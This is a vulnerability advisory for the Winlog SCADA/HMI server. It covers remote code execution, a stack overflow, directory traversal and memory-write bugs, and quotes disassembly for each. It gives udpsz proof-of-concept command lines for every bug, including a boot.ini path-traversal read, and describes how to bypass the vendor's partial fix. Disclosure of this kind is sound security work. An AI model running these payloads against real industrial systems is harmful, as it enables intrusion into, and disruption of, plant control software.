####################################################################### Luigi Auriemma Application: Sielco Sistemi Winlog http://www.sielcosistemi.com/en/products/winlog_scada_hmi/ Versions: <= 2.07.16 UPDATE: also the new version 2.07.17 is affected by almost all these vulnerabilities since has been introduced a signed comparison "if((signed int)value > 32) return;" for the 32bit number after the opcode (in my PoC usually I used the value e6563600) so replace it with a negative value (for example 6ccaf6ff but will not work with my pre-existent PoC because it's aligned while my old tests didn't care about alignment) and most of the bugs will work again: 00411A03 |. 83F8 32 CMP EAX,32 00411A06 |. 7D 0B JGE SHORT RunTime.00411A13 00411A08 |. 8B0C85 642D5B00 MOV ECX,DWORD PTR DS:[EAX*4+5B2D64] Platforms: Windows Bugs: A] DbiGetRecordCount code execution B] @Db@TDataSet@Close$qqrv code execution C] DbiSetToRecordNo code execution D] _TCPIPS_BinOpenFileFP stack overflow E] Directory traversal F] write4 G] write1 Exploitation: remote Date: 26 Jun 2012 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's website: "Simple, flexible and economical, Winlog Pro is a SCADA/HMI software package for the supervision of industrial and civil plants." ####################################################################### ======= 2) Bugs ======= This software can act as a TCP/IP server by enabling the specific "Run TCP/IP server" option available in the "Configuration->Options->TCP/IP" section of the project we want to run and Runtime.exe will listen on the TCP port 46824. The part of the server running on this port uses a static buffer of 0x119 bytes to handle the incoming data so all the vulnerabilities explained below can be exploited using these fixed addresses. Then the exception handler used by the server allows to perform many attempts without altering the normal work of the program. ----------------------------------- A] DbiGetRecordCount code execution ----------------------------------- DbfIntf.DbiGetRecordCount: 0038354B 8B10 MOV EDX,DWORD PTR DS:[EAX] 0038354D FF92 F4000000 CALL DWORD PTR DS:[EDX+F4] ----------------------------------------- B] @Db@TDataSet@Close$qqrv code execution ----------------------------------------- Vcldb40.@Db@TDataSet@Close$qqrv: 46012BEE 8B08 MOV ECX,DWORD PTR DS:[EAX] 46012BF0 FF91 20010000 CALL DWORD PTR DS:[ECX+120] ---------------------------------- C] DbiSetToRecordNo code execution ---------------------------------- DbfIntf.DbiSetToRecordNo: 00382BEB 8B10 MOV EDX,DWORD PTR DS:[EAX] 00382BED FF92 F4000000 CALL DWORD PTR DS:[EDX+F4] --------------------------------------- D] _TCPIPS_BinOpenFileFP stack overflow --------------------------------------- 004134F6 /. 55 PUSH EBP 004134F7 |. 8BEC MOV EBP,ESP 004134F9 |. 81C4 FCFEFFFF ADD ESP,-104 ... 00413525 |> FF75 08 PUSH DWORD PTR SS:[EBP+8] ; /Arg4 00413528 |. 8B15 E8085B00 MOV EDX,DWORD PTR DS:[5B08E8] ; | 0041352E |. 8D8D FCFEFFFF LEA ECX,DWORD PTR SS:[EBP-104] ; | 00413534 |. 81C2 E0020000 ADD EDX,2E0 ; | 0041353A |. 52 PUSH EDX ; |Arg3 0041353B |. 68 FC245600 PUSH Runtime.005624FC ; |Arg2 = 005624FC ASCII "%s\%s" 00413540 |. 51 PUSH ECX ; |Arg1 00413541 |. E8 B6BD1300 CALL Runtime.0054F2FC ; \RunTime.0054F2FC sprintf() ---------------------- E] Directory traversal ---------------------- Through opcode 0x78 is possible to open any file on the disk where the server is running and with 0x96/0x97/0x98 is possible to read its content. --------- F] write4 --------- The opcodes used for the file operations specify a 32bit number that is the element of the array returned by the server while opening the file and so it can be used to load a file pointer outside the array (stream lock table PUSH DWORD PTR DS:[EBX*4+5B0024]) and maybe reaching EnterCriticalSection with an arbitrary value: EnterCriticalSection: 7C81A1C1 F0:0FB301 LOCK BTR DWORD PTR DS:[ECX],EAX ; LOCK prefix Anyway exploiting a similar bug is very theoretical because it's hard to bypass all the obstacles for using the own 32bit value with EnterCriticalSection. --------- G] write1 --------- The lack of checks on the return value of the realloc function used by the software allows to put a 0x00 byte outside the existent buffer if the specified size to reallocate is negative or unallocable: Vcl40.@System@@LStrSetLength$qqrv: 40004F42 E8 E1DCFFFF CALL Vcl40.@System@@ReallocMem$qqrv 40004F47 58 POP EAX 40004F48 83C0 08 ADD EAX,8 40004F4B 8903 MOV DWORD PTR DS:[EBX],EAX 40004F4D 8970 FC MOV DWORD PTR DS:[EAX-4],ESI 40004F50 C60430 00 MOV BYTE PTR DS:[EAX+ESI],0 ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip A] udpsz -b a -T -C 15 0x14 -C "e6563600 e6563600" 0x15 SERVER 46824 0x119 B] udpsz -b a -T -C 17 0x14 -C "e6563600 ea563600 ce553600" 0x15 SERVER 46824 0x119 C] udpsz -b a -T -C 1e 0x14 -C "11111111 e6563600" 0x15 SERVER 46824 0x119 -C 28 -C 32 -C 3c D] udpsz -b a -T -C 78 0x14 SERVER 46824 0x119 E] udpsz -D -4 -T -C 78 0x14 -c "../../../../../../../../../../boot.ini\0" 0x15 SERVER 46824 0x119 udpsz -D -4 -T -C 98 0x14 -C "00 00 00 00" 0x19 SERVER 46824 0x119 F] udpsz -b 0x40 -T SERVER 46824 0xfffff udpsz -T -C 7b 0x14 -b 0x7f -C "c1c13800" 0x15 SERVER 46824 0x119 note that the above PoC does NOTHING, it's just a note G] udpsz -T -C 15 0x14 -C "e6563600 7a553600 f2563600 88888888" 0x15 SERVER 46824 0x119 ####################################################################### ====== 4) Fix ====== No fix. #######################################################################